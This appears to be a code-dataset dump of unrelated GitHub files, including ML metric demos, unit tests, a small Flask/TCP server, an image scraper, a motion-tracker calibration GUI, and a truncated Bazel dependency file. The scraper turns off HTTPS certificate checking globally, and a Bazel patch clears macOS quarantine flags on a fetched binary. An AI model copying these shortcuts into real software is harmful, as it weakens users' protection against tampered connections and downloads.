+{"seq_id":"30138433632","text":"import sys\nfrom os import path\n\nfrom scripts import convert_DLT_to_TXT, create_new_folders, sort_files, decompress_files_from_path, find_incidence\n\nif __name__ == \"__main__\":\n args = sys.argv\n args_len = len(args)\n target_path = args[1]\n script_path = path.dirname(__file__)\n new_dir_path = path.join(script_path, path.splitext(target_path)[0])\n\n if args_len >= 0:\n if path.isdir(target_path):\n decompress_files_from_path(target_path)\n \n if (args_len > 1):\n convert_DLT_to_TXT(target_path)\n else:\n print(\"Number of passed arguments is:\",\n len(sys.argv), \" expecting: 2\")\n \n find_incidence(target_path)\n create_new_folders(target_path)\n sort_files(target_path)\n\n print(\"Everything done\")\n else:\n decompress_files_from_path(new_dir_path)\n else:\n print(\"Unexpected Error\")\n","repo_name":"natmsaenz/ParsingBot","sub_path":"ParsingBot.py","file_name":"ParsingBot.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"36546782977","text":"# Definition for a binary tree node.\nfrom collections import deque\nfrom typing import Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution(object):\n def findTarget(self, root, k):\n \"\"\"\n :type root: TreeNode\n :type k: int\n :rtype: bool\n \"\"\"\n if root is None:\n return False\n res_list = list()\n\n def in_order_traversal(root):\n if root is None:\n return\n in_order_traversal(root.left)\n res_list.append(root.val)\n in_order_traversal(root.right)\n\n in_order_traversal(root)\n res_list_len = len(res_list)\n left, right = 0, res_list_len - 1\n while left < right:\n if res_list[left] + res_list[right] == k:\n return True\n elif res_list[left] + res_list[right] < k:\n left += 1\n elif res_list[left] + res_list[right] > k:\n right -= 1\n return False\n\n # Iterative way to complete it\n def findTarget1(self, root: Optional[TreeNode], k: int) -> bool:\n\n if root == None and k != 0:\n return False\n\n q1 = deque([root])\n s = set()\n while q1:\n node = q1.popleft()\n if k - node.val in s:\n return True\n s.add(node.val)\n if node.left:\n q1.append(node.left)\n if node.right:\n q1.append(node.right)\n return False\n","repo_name":"sakshamratra0106/PracticeProblems","sub_path":"Tree/653TwoSumIV-InputisaBST.py","file_name":"653TwoSumIV-InputisaBST.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39333631141","text":"import cv2 as cv\nimport numpy as np\nimport random\nimport copy\n\ndef carBody(arr, img):\n cv.rectangle(img, arr, arr, (255,255,255), 5)\n return img\n\ndef dtCollisionBoundaries(arr):\n if (arr[0] >= 155) or (arr[0] <= 45):\n return True\n if (arr[1] >= 465):\n return True\n return False\n\ndef dtDestination(arr):\n if (arr[1] <= 75):\n return True\n return False\n\ndef getDisplay(arr):\n img = np.zeros((512, 512, 3), dtype=\"uint8\")\n img = carBody(arr, img)\n boundaryPts = np.array([[40, 70], [40, 470],\n [160, 470], [160, 70]],\n np.int32)\n boundaryPts = boundaryPts.reshape((-1, 1, 2))\n\n destPts = np.array([[40, 70], [160, 70]],\n np.int32)\n destPts = destPts.reshape((-1, 1, 2))\n isClosed = True\n thickness = 8\n img = cv.polylines(img, [boundaryPts],\n isClosed, (0, 255, 0),\n thickness)\n img = cv.polylines(img, [destPts],\n isClosed, (0, 0, 255),\n thickness)\n return img\n\nif __name__ == \"__main__\":\n arr = [92,427]\n img = getDisplay(arr)\n key = 97\n\n while True:\n done = False\n cv.imshow(\"The Car Dot game\", img)\n\n if key == ord('a'):\n arr[0] = arr[0] - 5\n elif key == ord('d'):\n arr[0] = arr[0] + 5\n elif key == ord('w'):\n arr[1] = arr[1] - 5\n elif key == ord('s'):\n arr[1] = arr[1] + 5\n elif key == ord('q'):\n break\n\n # detect collision with boudaries\n if dtCollisionBoundaries(arr) == True:\n print(\"collision with boundaries\")\n break\n\n # # check if snake has found the food\n if dtDestination(arr) == True:\n print(\"Reached destination\")\n break\n\n img = getDisplay(arr)\n k = cv.waitKey(400)\n if k != -1:\n key = copy.deepcopy(k)","repo_name":"ajithvallabai/RL001","sub_path":"Lesson_01_DotsAndLines/basic_games/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"5686486968","text":"# -*- coding: utf-8 -*-\nimport unittest\nfrom unittest.mock import * # noqa\nfrom nose.tools import * # noqa\nimport jwcrypto.jws\n\nfrom clique.blockchain import * # noqa\nfrom clique.keystore import * # noqa\n\n\ndef test_global_KeyStore():\n assert_true(isinstance(keystore(), LocalKeyStore))\n\n class NewKeyStore(LocalKeyStore):\n pass\n curr = setKeyStore(NewKeyStore())\n assert_true(isinstance(keystore(), NewKeyStore))\n assert_true(isinstance(curr, LocalKeyStore))\n\n\ndef test_LocalKeyStore():\n ks = LocalKeyStore()\n\n k1 = Identity.generateKey()\n ks.add(k1)\n assert_is(ks[thumbprint(k1)], k1)\n\n k2 = Identity.generateKey()\n assert_raises(KeyNotFoundError, ks.__getitem__, thumbprint(k2))\n ks.add(k2)\n assert_is(ks[thumbprint(k2)], k2)\n\n assert_in(thumbprint(k1), ks)\n assert_in(thumbprint(k2), ks)\n assert_not_in(thumbprint(newJwk()), ks)\n\n # Upload on a local key store results on an 'add'\n ks = LocalKeyStore()\n ks.add = MagicMock()\n ks.upload(k1)\n ks.add.assert_called_with(k1)\n\ndef test_KeyNotFoundError():\n ex = KeyNotFoundError(\"this is a test\")\n assert_equals(str(ex), \"Encrypion key not found: this is a test\")\n\n\nclass Response:\n \"\"\"Dummy 'requests' responce class.\"\"\"\n def __init__(self, c, k):\n self.status_code = c\n self._key = k\n\n def json(self):\n return json.loads(self._key.export())\n\n\nclass TestRemoteKeyStore(unittest.TestCase):\n\n def setUp(self):\n self.url = \"http://keystore.com/keys\"\n self.headers = {\"content-type\": \"application/json\"}\n self.ks = RemoteKeyStore(self.url)\n self.ks._post = MagicMock()\n # This should NOT be called when we add keys\n self.ks._post.side_effect = NotImplementedError\n\n self.keys = []\n for _ in range(10):\n k = newJwk()\n self.keys.append(k)\n self.ks.add(k)\n\n\n def test_ctor(self):\n url = self.url\n h = self.headers\n ks = RemoteKeyStore(url)\n assert_equals(ks._url, url)\n assert_dict_equal(ks._headers, h)\n\n def test_NoGetForCachedValues(self):\n ks = RemoteKeyStore(self.url)\n ks._get = MagicMock(return_value=True)\n ks._post = MagicMock(return_value=True)\n keys = []\n for _ in range(10):\n k = newJwk()\n keys.append(k)\n ks.add(k)\n\n for key, tp in [(k, thumbprint(k)) for k in keys]:\n k = ks[tp]\n assert_is(k, key)\n # Should not have hit server, k is in cache\n ks._get.assert_not_called()\n\n def test_upload(self):\n key = self.keys[0]\n success = Response(201, key)\n fail = Response(500, None)\n\n # Happy path\n self.ks._post = MagicMock(return_value=success)\n tprint = self.ks.upload(key)\n self.ks._post.assert_called_with(self.url, headers=self.headers,\n json=json.loads(key.export_public()))\n assert_equals(tprint, thumbprint(key))\n\n # Http error\n self.ks._post = MagicMock(return_value=fail)\n assert_raises(requests.RequestException, self.ks.upload, self.keys[2])\n\n # Kid changed error\n key = self.keys[3]\n key._params[\"kid\"] = \"The Black Ryder\"\n success = Response(201, key)\n self.ks._post = MagicMock(return_value=success)\n assert_raises(ValueError, self.ks.upload, key)\n\n def test_getKey(self):\n new_key = newJwk()\n self.ks._get = MagicMock(return_value=Response(200, new_key))\n\n k = self.ks[thumbprint(new_key)]\n self.ks._get.assert_called_with(self.url + \"/\" + thumbprint(new_key))\n\n self.ks._get.reset_mock()\n assert_is(self.ks[thumbprint(k)], k)\n self.ks._get.assert_not_called()\n\n new_key = newJwk()\n self.ks._get = MagicMock(return_value=Response(500, new_key))\n assert_raises(KeyNotFoundError,\n self.ks.__getitem__, thumbprint(new_key))\n\n","repo_name":"nicfit/Clique","sub_path":"tests/test_keystore.py","file_name":"test_keystore.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"26072826912","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\n\n\ndef app():\n # -----------------------------------\n # 回帰\n # -----------------------------------\n st.markdown(f'## Regression')\n # rmse\n st.markdown(f'### RMSE')\n\n from sklearn.metrics import mean_squared_error\n\n # y_trueが真の値、y_predが予測値\n y_true = np.array([1.0, 1.5, 2.0, 1.2, 1.8])\n y_pred = np.array([0.8, 1.5, 1.8, 1.3, 3.0])\n\n rmse_actual = np.sqrt((y_true - y_pred) @ (y_true - y_pred) / y_true.size)\n st.markdown(f'#### Calculated by codes')\n st.write(rmse_actual)\n\n rmse_expect = np.sqrt(mean_squared_error(y_true, y_pred))\n st.markdown(f'#### Calculated by sklearn')\n st.write(rmse_expect)\n\n # -----------------------------------\n # 二値分類\n # -----------------------------------\n st.markdown(f'## Binary classification')\n\n # 0, 1で表される二値分類の真の値と予測値\n y_true = np.array([1, 0, 1, 1, 0, 1, 1, 0])\n y_pred = np.array([0, 0, 1, 1, 0, 0, 1, 1])\n y_prob = np.array([0.1, 0.2, 0.8, 0.8, 0.1, 0.3, 0.1, 0.9])\n\n # 混同行列\n st.markdown(f'### Confusion Matrix')\n\n from sklearn.metrics import confusion_matrix\n\n tp = np.sum((y_true == 1) & (y_pred == 1))\n tn = np.sum((y_true == 0) & (y_pred == 0))\n fp = np.sum((y_true == 0) & (y_pred == 1))\n fn = np.sum((y_true == 1) & (y_pred == 0))\n confusion_matrix_actual = np.array([[tp, fp], [fn, tn]])\n st.markdown(f'#### Calculated by codes')\n st.write(confusion_matrix_actual)\n\n confusion_matrix_expect = confusion_matrix(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(confusion_matrix_expect)\n\n # accuracy\n st.markdown(f'### Accuracy')\n\n from sklearn.metrics import accuracy_score\n\n accuracy_actual = (tp + tn) / (tp + fp + fn + tn)\n st.markdown(f'#### Calculated by codes')\n st.write(accuracy_actual)\n\n accuracy_expect = accuracy_score(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(accuracy_expect)\n\n # precision\n st.markdown(f'### Precision')\n\n precision_actual = tp / (tp + fp)\n st.markdown(f'#### Calculated by codes')\n st.write(precision_actual)\n\n # recall\n st.markdown(f'### Recall')\n\n recall_actual = tp / (tp + fn)\n st.markdown(f'#### Calculated by codes')\n st.write(recall_actual)\n\n # f1 score\n st.markdown(f'### F1 score')\n\n from sklearn.metrics import f1_score\n\n f1_score_actual = 2 * tp / (2 * tp + fn + fp)\n st.markdown(f'#### Calculated by codes')\n st.write(f1_score_actual)\n\n f1_score_expect = f1_score(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(f1_score_expect)\n\n\n # logloss\n st.markdown(f'### logloss')\n\n from sklearn.metrics import log_loss\n\n logloss_actual = -(y_true @ np.log(y_prob) + (1 - y_true) @ np.log(1 - y_prob)) / y_true.size\n st.markdown(f'#### Calculated by codes')\n st.write(logloss_actual)\n\n logloss_expect = log_loss(y_true, y_prob)\n st.markdown(f'#### Calculated by sklearn')\n st.write(logloss_expect)\n\n # -----------------------------------\n # マルチクラス分類\n # -----------------------------------\n st.markdown(f'## Multi class classification')\n\n # 3クラス分類の真の値と予測値\n y_true = np.array([0, 2, 1, 2, 2])\n y_pred = np.array([[0.68, 0.32, 0.00],\n [0.00, 0.00, 1.00],\n [0.60, 0.40, 0.00],\n [0.00, 0.00, 1.00],\n [0.28, 0.12, 0.60]])\n\n # multi-class logloss\n st.markdown(f'### multi-class logloss')\n\n from sklearn.metrics import log_loss\n\n mc_logloss_actual = - np.sum(np.log(y_pred[np.arange(y_true.size), y_true])) / y_true.size\n st.markdown(f'#### Calculated by codes')\n st.write(mc_logloss_actual)\n\n mc_logloss_expect = log_loss(y_true, y_pred)\n st.markdown(f'#### Calculated by sklearn')\n st.write(mc_logloss_expect)\n\n # -----------------------------------\n # マルチラベル分類\n # -----------------------------------\n st.markdown(f'## Multi label classification')\n\n # マルチラベル分類の真の値・予測値は、評価指標の計算上はレコード×クラスの二値の行列とした方が扱いやすい\n # 真の値 - [[1,2], [1], [1,2,3], [2,3], [3]]\n y_true = np.array([[1, 1, 0],\n [1, 0, 0],\n [1, 1, 1],\n [0, 1, 1],\n [0, 0, 1]])\n\n # 予測値 - [[1,3], [2], [1,3], [3], [3]]\n y_pred = np.array([[1, 0, 1],\n [0, 1, 0],\n [1, 0, 1],\n [0, 0, 1],\n [0, 0, 1]])\n\n # mean_f1\n st.markdown(f'### mean f1 score')\n\n from sklearn.metrics import f1_score\n\n tp = np.sum((y_true == 1) & (y_pred == 1), axis=1)\n fp = np.sum((y_true == 0) & (y_pred == 1), axis=1)\n fn = np.sum((y_true == 1) & (y_pred == 0), axis=1)\n mean_f1_actual = np.mean(2 * tp / (2 * tp + fp + fn))\n st.markdown(f'#### Calculated by codes')\n st.write(mean_f1_actual)\n\n mean_f1_expect = f1_score(y_true, y_pred, average='samples')\n st.markdown(f'#### Calculated by sklearn')\n st.write(mean_f1_expect)\n\n # macro_f1\n st.markdown(f'### macro f1 score')\n\n tp = np.sum((y_true == 1) & (y_pred == 1), axis=0)\n fp = np.sum((y_true == 0) & (y_pred == 1), axis=0)\n fn = np.sum((y_true == 1) & (y_pred == 0), axis=0)\n macro_f1_actual = np.mean(2 * tp / (2 * tp + fp + fn))\n st.markdown(f'#### Calculated by codes')\n st.write(macro_f1_actual)\n\n macro_f1_expect = f1_score(y_true, y_pred, average='macro')\n st.markdown(f'#### Calculated by sklearn')\n st.write(macro_f1_expect)\n\n # micro_f1\n st.markdown(f'### micro f1 score')\n\n tp = np.sum((y_true == 1) & (y_pred == 1))\n fp = np.sum((y_true == 0) & (y_pred == 1))\n fn = np.sum((y_true == 1) & (y_pred == 0))\n micro_f1_actual = np.mean(2 * tp / (2 * tp + fp + fn))\n st.markdown(f'#### Calculated by codes')\n st.write(micro_f1_actual)\n\n micro_f1_expect = f1_score(y_true, y_pred, average='micro')\n st.markdown(f'#### Calculated by sklearn')\n st.write(micro_f1_expect)\n\n # -----------------------------------\n # クラス間に順序関係があるマルチクラス分類\n # -----------------------------------\n st.markdown(f'## Ordering multi class classification')\n # quadratic weighted kappa\n st.markdown(f'### quadratic weighted kappa')\n\n from sklearn.metrics import confusion_matrix, cohen_kappa_score\n\n # quadratic weighted kappaを計算する関数\n def quadratic_weighted_kappa(c_matrix):\n numer = 0.0\n denom = 0.0\n\n for i in range(c_matrix.shape[0]):\n for j in range(c_matrix.shape[1]):\n n = c_matrix.shape[0]\n wij = ((i - j) ** 2.0)\n oij = c_matrix[i, j]\n eij = c_matrix[i, :].sum() * c_matrix[:, j].sum() / c_matrix.sum()\n numer += wij * oij\n denom += wij * eij\n\n return 1.0 - numer / denom\n\n # y_true は真の値のクラスのリスト、y_pred は予測値のクラスのリスト\n y_true = [1, 2, 3, 4, 3]\n y_pred = [2, 2, 4, 4, 5]\n\n # 混同行列を計算する\n c_matrix = confusion_matrix(y_true, y_pred, labels=[1, 2, 3, 4, 5])\n\n # quadratic weighted kappaを計算する\n kappa_actual = quadratic_weighted_kappa(c_matrix)\n st.markdown(f'#### Calculated by codes')\n st.write(kappa_actual)\n\n # scikit-learnのメソッドを使うことでも計算できる\n kappa_expect = cohen_kappa_score(y_true, y_pred, weights='quadratic')\n st.markdown(f'#### Calculated by sklearn')\n st.write(kappa_expect)\n\n # -----------------------------------\n # レコメンデーション\n # -----------------------------------\n st.markdown(f'## Recomendation')\n # MAP@K\n st.markdown(f'### MAP@K')\n\n # K=3、レコード数は5個、クラスは4種類とする\n K = 3\n\n # 各レコードの真の値\n y_true = [[1, 2], [1, 2], [4], [1, 2, 3, 4], [3, 4]]\n\n # 各レコードに対する予測値 - K=3なので、通常は各レコードにそれぞれ3個まで順位をつけて予測する\n y_pred = [[1, 2, 4], [4, 1, 2], [1, 4, 3], [1, 2, 3], [1, 2, 4]]\n\n\n # 各レコードごとのaverage precisionを計算する関数\n def apk(y_i_true, y_i_pred):\n # y_predがK以下の長さで、要素がすべて異なることが必要\n assert (len(y_i_pred) <= K)\n assert (len(np.unique(y_i_pred)) == len(y_i_pred))\n\n sum_precision = 0.0\n num_hits = 0.0\n\n for i, p in enumerate(y_i_pred):\n if p in y_i_true:\n num_hits += 1\n precision = num_hits / (i + 1)\n sum_precision += precision\n\n return sum_precision / min(len(y_i_true), K)\n\n\n # MAP@K を計算する関数\n def mapk(y_true, y_pred):\n return np.mean([apk(y_i_true, y_i_pred) for y_i_true, y_i_pred in zip(y_true, y_pred)])\n\n # MAP@Kを求める\n st.write(mapk(y_true, y_pred))\n # 0.65\n\n # 正解の数が同じでも、順序が違うとスコアも異なる\n st.write(apk(y_true[0], y_pred[0]))\n st.write(apk(y_true[1], y_pred[1]))\n","repo_name":"ar90n/lab","sub_path":"sandbox/kagglebook_practice/kagglebook_practice/ch02/ch02_01_metrics.py","file_name":"ch02_01_metrics.py","file_ext":"py","file_size_in_byte":9352,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"74146863913","text":"#!/usr/bin/python3\n\nfrom gtts import gTTS\n\nintext=(\"Please face the camera. A photograph will be taken and sent to a member of staff. You will then be given further instructions. Thank you for your patience.\") \nlang='en'\nfilename = 'outtext.mp3' \n\ntts = gTTS(text=intext, lang='en') \ntts.save(filename)","repo_name":"ardus-uk/rpi-utils","sub_path":"text2speech.py","file_name":"text2speech.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73204677352","text":"from flask import Flask, render_template, request,jsonify, flash, redirect,request, url_for\nimport random, socket, threading\nimport time\n\ncache = {}\n\ncache['pm10'] = ''\n\n#tcp server\nTCP_IP = '192.168.1.4'\nTCP_PORT = 7005\nBUFFER_SIZE = 20\n\ndef launchServer():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((TCP_IP, TCP_PORT))\n s.listen(1)\n \n\n print('waiting for connection')\n conn, addr = s.accept()\n print ('Connection address:', addr)\n \n while True:\n conn.sendall(time.asctime())\n print ('Data sent from server -> client')\n time.sleep(0.5)\n num = conn.recv(40)\n num = num.rstrip('\\x00')\n cache['pm10'] = num\n print('Server received data on', str(cache['pm10']) + time.asctime())\n time.sleep(0.5)\n\n\n#flask app\napp = Flask(__name__)\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('main.html')\n\n@app.route('/pay', methods=['GET'])\ndef pay_calc():\n return jsonify({'data1': cache['pm10']})\n\nif __name__ == \"__main__\":\n t = threading.Thread(target=launchServer)\n t.daemon = True\n t.start()\n app.run(ssl_context=('cert.pem', 'key.pem'))\n","repo_name":"alfred-ai/microchip-asf","sub_path":"common/components/wifi/winc3400/simple_roaming_https_example/script/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"}
+{"seq_id":"74386256874","text":"import urllib.request\nimport requests\nfrom bs4 import BeautifulSoup\nimport ssl\nimport re\nssl._create_default_https_context = ssl._create_unverified_context\n\nurl = \"http://www.netbian.com/\"\nresponse = urllib.request.urlopen(url)\n\nsoup=BeautifulSoup(response,'html.parser')\nprint(soup)\n\nnum=0\nr2=re.compile('/index_',re.I)\nfor link in soup.find_all('img'):\n \n \n \n x=link.get('src')\n print(x)\n imageStream = requests.get(x)\n yuan = imageStream.content\n num=num+1\n with open('/Users/mac/Desktop/Mosaic/src/smallPhotos/' + str(num) + '.jpg', 'wb') as f:\n \n print(\"正在写入第%d张\" % num)\n f.write(yuan) # 写进去\n f.close() # 关闭文件\n\n\nfor index in range(2,100):\n re=urllib.request.urlopen(url+\"/index_\"+str(index)+\".htm\")\n s=BeautifulSoup(re,'html.parser')\n for link in s.find_all('img'):\n \n \n \n x=link.get('src')\n print(x)\n imageStream = requests.get(x)\n yuan = imageStream.content\n num=num+1\n with open('/Users/mac/Desktop/Mosaic/src/smallPhotos/' + str(num) + '.jpg', 'wb') as f:\n \n print(\"正在写入第%d张\" % num)\n f.write(yuan) # 写进去\n f.close() # 关闭文件\n \n \n \n \n \n \n\n \n\n\n","repo_name":"coolling/Mosaic-Pattern","sub_path":"sprayPhotos.py","file_name":"sprayPhotos.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"2681493527","text":"import os, sys, time\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.spatial.transform import Rotation as R\n\nimport roslibpy\n\nfrom PyQt5 import Qt, QtCore\n\nfrom sksurgerynditracker.nditracker import NDITracker\n\nrom_file_0 = os.path.abspath(os.path.join(os.path.dirname(__file__), 'digitizer-02.rom'))\ntracking_sleep_interval = 2 # second\n\nSETTINGS = {\n \"tracker type\": \"polaris\",\n \"romfiles\" : [rom_file_0]\n }\n# TRACKER = NDITracker(SETTINGS)\n# TRACKER.start_tracking()\n# port_handles, timestamps, framenumbers, tracking, quality = TRACKER.get_frame()\n# for t in tracking:\n# print (t)\n# TRACKER.stop_tracking()\n# TRACKER.close()\n\n\nclass MainWidget(Qt.QWidget):\n\n sig_shutdown = QtCore.pyqtSignal()\n\n def __init__(self, parent=None):\n super(MainWidget, self).__init__()\n\n # Setup roslibpy client connection\n self.ros = roslibpy.Ros(host='localhost', port=9090)\n self.ros.run(timeout=0.1)\n self.cmd_pub = roslibpy.Topic(self.ros, 'cmd/gcode', 'std_msgs/msg/String')\n\n # NDI Polaris Tracker\n self.tracker = NDITracker(SETTINGS)\n\n # GUI Widget\n self.setWindowTitle(\"Stepper Motor Calibration using NDI Polaris\")\n\n self.axis_name_comboBox = Qt.QComboBox()\n self.axis_name_comboBox.addItems([\"X\", \"Y\", \"Z\", \"A\", \"B\"])\n self.axis_type_linear = Qt.QRadioButton(\"Linear\")\n self.axis_type_linear.setChecked(True)\n self.axis_type_angular = Qt.QRadioButton(\"Angular\")\n self.axis_limit_spinBox = Qt.QSpinBox()\n self.axis_limit_spinBox.setMaximum(1000)\n self.axis_limit_spinBox.setValue(100)\n self.num_of_measurement_spinBox = Qt.QSpinBox()\n self.num_of_measurement_spinBox.setValue(10)\n self.plot_chkBox = Qt.QCheckBox(\"Plot\")\n self.plot_chkBox.setChecked(True)\n self.run_btn = Qt.QPushButton(\"Calibrate\")\n\n self.run_btn.clicked.connect(self.calibrate)\n\n # GUI Layout\n gridlayout_0 = Qt.QGridLayout()\n\n vlayout_axis_type = Qt.QVBoxLayout()\n vlayout_axis_type.addWidget(self.axis_type_linear)\n vlayout_axis_type.addWidget(self.axis_type_angular)\n\n vlayout_operation = Qt.QVBoxLayout()\n vlayout_operation.addWidget(self.plot_chkBox)\n vlayout_operation.addWidget(self.run_btn)\n\n gridlayout_0.addWidget(Qt.QLabel(\"Axis Name\"), 0, 0)\n gridlayout_0.addWidget(Qt.QLabel(\"Axis Type\"), 0, 1)\n gridlayout_0.addWidget(Qt.QLabel(\"Axis Limit\"), 0, 2)\n gridlayout_0.addWidget(Qt.QLabel(\"Measurements\"), 0, 3)\n gridlayout_0.addWidget(self.axis_name_comboBox, 1, 0)\n gridlayout_0.addLayout(vlayout_axis_type, 1, 1)\n gridlayout_0.addWidget(self.axis_limit_spinBox, 1, 2)\n gridlayout_0.addWidget(self.num_of_measurement_spinBox, 1, 3)\n gridlayout_0.addLayout(vlayout_operation, 1, 4)\n\n self.setLayout(gridlayout_0)\n self.show()\n\n\n def calibrate(self):\n # Start tracking\n self.tracker.start_tracking()\n print(\"Tracking Started\")\n pose_measure_list = []\n diff_measure_list = []\n time.sleep(1)\n pose_measure_list.append(self.tracker.get_frame()[3][0])\n \n # Generate random gcode cmd list for single axis\n axis_name = self.axis_name_comboBox.currentText()\n axis_range = range(0, self.axis_limit_spinBox.value())\n jnt_val_list = random.sample(axis_range, self.num_of_measurement_spinBox.value())\n jnt_val_list.sort()\n gcode = \"G0{}\".format(axis_name)\n gcode_send_list = []\n for val in jnt_val_list:\n gcode_send_list.append(gcode + \"{:0.3f}\".format(-val))\n\n # Send Gcode to Grbl_backend through roslibpy\n if self.ros.is_connected:\n for cmd in gcode_send_list:\n self.cmd_pub.publish(roslibpy.Message({'data': cmd}))\n time.sleep(tracking_sleep_interval)\n port_handles, timestamps, framenumbers, tracking, quality = self.tracker.get_frame()\n pose_measure_list.append(tracking[0])\n self.cmd_pub.unadvertise()\n\n # Stop tracking\n self.tracker.stop_tracking()\n print(\"Tracking Stopped\")\n initial_pose = pose_measure_list.pop(0)\n\n # Process the measurement\n if self.axis_type_linear.isChecked():\n for pose in pose_measure_list:\n distance_measure = np.linalg.norm(pose[:3,3] - initial_pose[:3,3])\n diff_measure_list.append(distance_measure)\n\n if self.axis_type_angular.isChecked():\n initial_r = R.from_matrix(initial_pose[:3,:3])\n initial_angle = initial_r.as_euler('zyx', degrees=True)\n for pose in pose_measure_list:\n r = R.from_matrix(pose[:3,:3])\n angle_measure = r.as_euler('zyx', degrees=True) - initial_angle\n diff_measure_list.append(-angle_measure[0]) # assuming rotate about z-axis of the marker\n\n # Store data using pandas DataFrame\n data = {'command':jnt_val_list, 'measure':diff_measure_list}\n data = pd.DataFrame(data)\n x = data.command\n y = data.measure\n\n # line fitting\n model = np.polyfit(x, y, 1)\n print(model)\n predict = np.poly1d(model)\n\n # Plotting\n y_lin_reg = predict(axis_range)\n plt.scatter(x, y)\n plt.plot(axis_range, y_lin_reg, c = 'r')\n plt.xlabel(\"Command\")\n plt.ylabel(\"Measurement\")\n plt.show()\n\n\n def closeEvent(self, event):\n # disconnect roslibpy client and close the tracker\n self.ros.terminate()\n self.tracker.close()\n super().closeEvent(event)\n\n\nif __name__ == '__main__':\n app = Qt.QApplication(sys.argv)\n window = MainWidget()\n sys.exit(app.exec_())","repo_name":"jhu-bigss/grbl_ros2_gui","sub_path":"ndi_polaris/calibrate_stepper_single_axis.py","file_name":"calibrate_stepper_single_axis.py","file_ext":"py","file_size_in_byte":5378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"9891648479","text":"\"\"\"Declare runtime dependencies\n\nThese are needed for local dev, and users must install them as well.\nSee https://docs.bazel.build/versions/main/skylark/deploying.html#dependencies\n\"\"\"\n\nload(\"@bazel_tools//tools/build_defs/repo:http.bzl\", _http_archive = \"http_archive\", _http_jar = \"http_jar\")\nload(\"@bazel_tools//tools/build_defs/repo:utils.bzl\", \"maybe\")\n\ndef http_archive(name, **kwargs):\n maybe(_http_archive, name = name, **kwargs)\n\ndef http_jar(name, **kwargs):\n maybe(_http_jar, name = name, **kwargs)\n\n# WARNING: any changes in this function may be BREAKING CHANGES for users\n# because we'll fetch a dependency which may be different from one that\n# they were previously fetching later in their WORKSPACE setup, and now\n# ours took precedence. Such breakages are challenging for users, so any\n# changes in this function should be marked as BREAKING in the commit message\n# and released only in semver majors.\n# This is all fixed by bzlmod, so we just tolerate it for now.\ndef rules_format_dependencies():\n \"Fetch dependencies\"\n\n # The minimal version of bazel_skylib we require\n http_archive(\n name = \"bazel_skylib\",\n sha256 = \"f7be3474d42aae265405a592bb7da8e171919d74c16f082a5457840f06054728\",\n urls = [\n \"https://github.com/bazelbuild/bazel-skylib/releases/download/1.2.1/bazel-skylib-1.2.1.tar.gz\",\n \"https://mirror.bazel.build/github.com/bazelbuild/bazel-skylib/releases/download/1.2.1/bazel-skylib-1.2.1.tar.gz\",\n ],\n )\n\n # TODO: after https://github.com/bazelbuild/rules_swift/issues/864 we should only fetch for host\n http_archive(\n name = \"swiftformat\",\n sha256 = \"f62813980c2848cb1941f1456a2a06251c2e2323183623760922058b98c70745\",\n url = \"https://github.com/nicklockwood/SwiftFormat/releases/download/0.49.17/swiftformat_linux.zip\",\n patch_cmds = [\"chmod u+x swiftformat_linux\"],\n build_file_content = \"filegroup(name = \\\"swiftformat\\\", srcs=[\\\"swiftformat_linux\\\"], visibility=[\\\"//visibility:public\\\"])\",\n )\n\n http_archive(\n name = \"swiftformat_mac\",\n sha256 = \"978eaffdc3716bbc0859aecee0d83875cf3ab8d8725779448f0035309d9ad9f3\",\n url = \"https://github.com/nicklockwood/SwiftFormat/releases/download/0.49.17/swiftformat.zip\",\n patch_cmds = [\n # On MacOS, `xattr -c` clears the \"Unknown developer\" warning when executing a fetched binary\n \"if command -v xattr > /dev/null; then xattr -c swiftformat; fi\",\n \"chmod u+x swiftformat\",\n ],\n build_file_content = \"filegroup(name = \\\"swiftformat_mac\\\", srcs=[\\\"swiftformat\\\"], visibility=[\\\"//visibility:public\\\"])\",\n )\n\n http_archive(\n name = \"buildifier_prebuilt\",\n sha256 = \"b3fd85ae7e45c2f36bce52cfdbdb6c20261761ea5928d1686edc8873b0d0dad0\",\n strip_prefix = \"buildifier-prebuilt-5.1.0\",\n urls = [\n \"http://github.com/keith/buildifier-prebuilt/archive/5.1.0.tar.gz\",\n ],\n )\n\n http_archive(\n name = \"rules_nodejs\",\n sha256 = \"5aef09ed3279aa01d5c928e3beb248f9ad32dde6aafe6373a8c994c3ce643064\",\n urls = [\"https://github.com/bazelbuild/rules_nodejs/releases/download/5.5.3/rules_nodejs-core-5.5.3.tar.gz\"],\n )\n\n http_archive(\n name = \"aspect_rules_js\",\n sha256 = \"25bcb082d49616ac2da538bf7bdd33a9730c8884edbec787fec83db07e4f7f16\",\n strip_prefix = \"rules_js-1.1.0\",\n url = 